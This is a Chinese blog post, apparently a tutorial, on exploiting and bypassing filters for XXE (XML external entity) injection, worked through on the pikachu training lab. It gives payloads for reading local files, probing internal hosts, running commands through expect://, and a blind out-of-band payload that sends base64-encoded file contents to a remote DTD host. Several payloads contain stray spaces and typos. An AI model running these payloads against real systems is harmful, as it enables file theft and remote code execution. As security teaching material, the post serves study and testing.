首页 > 其他分享 >XML&XXE利用检测绕过

XML&XXE利用检测绕过

时间:2023-03-18 13:56:40浏览次数:37  
标签:XML XXE 外部 玩法 dtd xxe 绕过

概念:
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

利用:输出形式(有回显:协议玩法(http,file,各脚本支持协议)、外部引用,无回显:外部引用-反向链接配合)
过滤绕过(协议玩法,外部引用,编码UTF-16BE)

实例——pikachu
pikachu-xxe:
#玩法-读文件
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
#玩法-内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
< ! ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http:/ /192.168.0.103:8081/ index. txt"
>
]>
<x>&rabbit;</x>

#玩法-RCE
该cASE是在安装expect扩展的Hp环境里执行系统命令
<?xml version = "1.0"?>
<! DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>

#引入外部实体dtd
<?xml version="1.0" ?>
< ! DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2. dtd">
%file;|
]>
<x>&send;</x>
evi12. dtd:
<! ENTITY send SYSTEM "file: ///d: /test. txt">

#无回显-读取文件
<?xml version="1.0"?>
< !DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/ read=convert.base64-
encode/ resource=d:/test. txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test. dtd">
%dtd;
%send;
]>
test. dtd:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM
'http://192.168.0. 103:8081/ ?data=%file; '>”
>
%%payload;

黑盒检测:通过BP抓包,判断数据格式类型,Content-type值判断(text/xml,application/xml),更改Content-type值看返回

靶场推荐:xxe-lab
vulnhub靶场 (偏向实际)

标签:XML,XXE,外部,玩法,dtd,xxe,绕过
From: https://www.cnblogs.com/juejuezi/p/17230376.html

相关文章

  • 【 Python 】补全fibersim 导出的xml语法
    fibersim导出的xml文件中,node和mesh部分的标签会缺失。即<R></R>变成了<R/>.以下python脚本可以自动修正importref2=open('x13.xml','w')withopen('E:\\20230314......
  • 软件测试|一文教你绕过头疼的图形验证码
    前言在我们的日常测试工作中,验证码绝对是很让我们头疼的一个东西,图形验证码,滑块验证码等场景阻碍着我们自动化测试的执行。那么,我们一直说的万能的Python,能不能帮我们解决让......
  • xml中引入schema
      person.xml引入person.xsd示例:<?xmlversion="1.0"encoding="UTF-8"?><!--xmlns:xsl末尾的-instance表示是被别的文件约束的--><!--:xsl是为了区分本文件......
  • Web漏洞-XSS跨站之代码及httponly绕过
    进入后台获得后台权限:cookie权限进入后台;直接账号密码登录Str-replace   关键字过滤什么是httponly如果在cookie中设置了httponly属性,那么通过js脚本将无法读取到co......
  • Nacos身份认证绕过漏洞复现笔记
    0X00漏洞描述Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。 Nacos身份认证绕过漏洞(QVD-2......
  • DOM4J解析xml代码实现
    1、DOM4J是第三方提供的工具类,使用前需要导入DOM4J的jar包下载地址:https://dom4j.github.iopublicclassDom4jDemo{publicstaticvoidmain(String[]args)th......
  • towxml支持代码复制功能(支持uni-app)
    uni-app中使用towxml步骤见: https://www.cnblogs.com/chuan2021/p/17223663.html 支持代码复制:towxml先用mardown.js把mardown转换成html,然后再解析html,最后渲......
  • Maven POM.xml 标签详解
    pom作为项目对象模型。通过xml表示maven项目,使用pom.xml来实现。主要描述了项目:包括配置文件;开发者需要遵循的规则,缺陷管理系统,组织和licenses,项目的url,项目的依赖性,以及其......
  • 【Android 逆向】frida 检测绕过
    1.aaa.apk安装到手机,是一个叫玩吧的应用./hooker......23248浏览器com.browser2345_oem32......
  • Scala 使用XML
    1、scala允许以字面量的形式键入XML2   xml字面量中使用花括号{}做转义符,执行SCALa代码3、使用\   \\获取标签属性属性前加@4、xml模式匹配任意序列_*DT大数据......